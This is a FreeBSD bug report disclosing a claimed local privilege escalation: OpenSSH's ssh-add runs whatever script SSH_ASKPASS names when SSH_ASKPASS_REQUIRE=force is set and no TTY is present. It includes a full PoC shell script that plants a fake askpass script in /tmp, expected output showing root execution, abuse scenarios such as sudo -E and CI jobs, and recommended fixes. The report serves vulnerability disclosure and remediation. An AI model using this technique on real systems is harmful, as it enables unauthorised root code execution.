https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=290961
Bug ID: 290961
Summary: Arbitrary Code Execution via SSH_ASKPASS in OpenSSH
Client LPE
Product: Base System
Version: 14.3-RELEASE
Hardware: amd64
OS: Any
Status: New
Severity: Affects Many People
Priority: ---
Component: bin
Assignee: [email protected]
Reporter: [email protected]
===============================================================
PoC: Arbitrary Code Execution via SSH_ASKPASS in OpenSSH Client
===============================================================
Date: 2025-11-11
Tested on: FreeBSD 14.3-RELEASE
OpenSSH Version: OpenSSH_9.9p2
Impact: Arbitrary Code Execution, Local Privilege Escalation (LPE)
Reporter: Igor Souza ([email protected]) - https://www.linkedin.com/in/igo0r
=======================================================================
[1] VULNERABILITY SUMMARY
--------------------------
This PoC demonstrates that the OpenSSH client (`ssh-add`) will blindly execute
any script defined in the SSH_ASKPASS environment variable, **even without a
TTY**,
as long as the following conditions are met:
- `SSH_ASKPASS` points to a user-controlled script
- `SSH_ASKPASS_REQUIRE=force` is set
- `DISPLAY` is set to any value (e.g. `:1`)
- stdin is detached (e.g. redirected to /dev/null)
If a privileged process (like `sudo -E`, a systemd service, or CI pipeline)
inherits
these variables from an unprivileged user, **arbitrary code execution as root
is possible**.
This behavior is default and not currently mitigated.
=======================================================================
[2] FULL PoC SCRIPT: x5.sh
---------------------------
-------------------------------------------------------------
#!/bin/sh
# x5.sh — Full PoC for SSH_ASKPASS execution (OpenSSH)
ASKPASS="/tmp/fake_askpass.sh"
KEY="/tmp/testkey_askpass"
LOG="/tmp/poc_askpass_log"
DAEMON_LOG="/tmp/poc_askpass_daemon.log"
echo "[*] Cleaning old files..."
rm -f "$ASKPASS" "$KEY" "$KEY.pub" "$LOG" "$DAEMON_LOG" 2>/dev/null
echo "[*] Creating malicious SSH_ASKPASS script at $ASKPASS..."
cat << 'EOF' > "$ASKPASS"
#!/bin/sh
LOG="/tmp/poc_askpass_log"
{
echo
echo "===== SSH_ASKPASS TRIGGERED ====="
date
echo "UID/GID: $(id)"
echo "PWD: $(pwd)"
echo "PID (ASKPASS): $$"
echo "PPID: $PPID"
echo "[*] Parent process:"
ps -p "$PPID" -o pid,ppid,uid,gid,command=
echo "[*] Current process:"
ps -p "$$" -o pid,ppid,uid,gid,command=
echo "[*] Environment variables:"
echo "SSH_ASKPASS=$SSH_ASKPASS"
echo "SSH_ASKPASS_REQUIRE=$SSH_ASKPASS_REQUIRE"
echo "DISPLAY=$DISPLAY"
echo "[*] Arbitrary execution (ls /tmp):"
ls /tmp
echo "===== END OF SSH_ASKPASS ====="
} >> "$LOG"
# Provide password to ssh-add
echo "test"
EOF
chmod +x "$ASKPASS"
echo "[*] Generating password-protected key..."
yes y | ssh-keygen -f "$KEY" -N 'test' -q
echo "[*] Starting isolated ssh-agent..."
eval "$(ssh-agent -s)" >/dev/null
echo "[*] Running ssh-add without TTY (via daemon)..."
daemon -f -o "$DAEMON_LOG" \
env DISPLAY=:1 \
SSH_ASKPASS="$ASKPASS" \
SSH_ASKPASS_REQUIRE=force \
ssh-add "$KEY" </dev/null
sleep 3
echo "[*] Killing ssh-agent..."
ssh-agent -k >/dev/null 2>&1
echo "[*] Output from SSH_ASKPASS script:"
if [ -s "$LOG" ]; then
cat "$LOG"
else
echo "[-] No log captured. Possible issue:"
echo " - SSH_ASKPASS not executable"
echo " - ssh-add failed silently"
echo " - Check $DAEMON_LOG"
fi
-------------------------------------------------------------
Make it executable:
$ chmod +x x5.sh
Run:
$ ./x5.sh
=======================================================================
[3] EXPECTED OUTPUT
-------------------------------------
===== SSH_ASKPASS TRIGGERED =====
Tue Nov 11 13:48:15 -03 2025
UID/GID: uid=0(root) gid=0(wheel)
PWD: /root
PID (ASKPASS): 5047
PPID: 5046
[*] Parent process:
5046 5044 0 0 ssh-add /tmp/testkey_askpass
[*] Current process:
5047 5046 0 0 /bin/sh /tmp/fake_askpass.sh
[*] Environment variables:
SSH_ASKPASS=/tmp/fake_askpass.sh
SSH_ASKPASS_REQUIRE=force
DISPLAY=:1
[*] Arbitrary execution (ls /tmp):
fake_askpass.sh
testkey_askpass
testkey_askpass.pub
poc_askpass_log
poc_askpass_daemon.log
===== END OF SSH_ASKPASS =====
=======================================================================
[4] REAL-WORLD IMPACT
----------------------
This behavior becomes a security issue in scenarios such as:
- Sudo session with preserved environment:
$ sudo -E ssh-add /some/key </dev/null
- A CI/CD job or systemd service using ssh-add inherits SSH_ASKPASS
- A cronjob/script runs ssh-add without TTY in an environment controlled
by a lower-privileged user
In these cases, **arbitrary code execution as root is achieved without any
exploit** —
just environmental control.
=======================================================================
[5] WHY IT'S A SECURITY VULNERABILITY
--------------------------------------
✔ OpenSSH **executes whatever is in SSH_ASKPASS** — no ownership or permission
check
✔ Accepts `SSH_ASKPASS_REQUIRE=force` **even without user interaction or TTY**
✔ No check on environment trust level — variables can be inherited across
privilege boundaries
✔ Exploitable with 100% legit tools: no buffer overflow, no ptrace, no race
condition — just logic abuse
It's a **trust boundary violation** when unvalidated input (environment) leads
to privileged command execution.
=======================================================================
[6] RECOMMENDATIONS
--------------------
- Ignore SSH_ASKPASS_REQUIRE=force if no TTY is present
- Validate SSH_ASKPASS:
- Only run scripts owned by current user
- Check permissions (no world-writable)
- Possibly restrict path to a secure directory
- Sanitize environment before launching ssh-add in privileged contexts
- Warn if SSH_ASKPASS is inherited or behavior is forced non-interactively
--
You are receiving this mail because:
You are the assignee for the bug.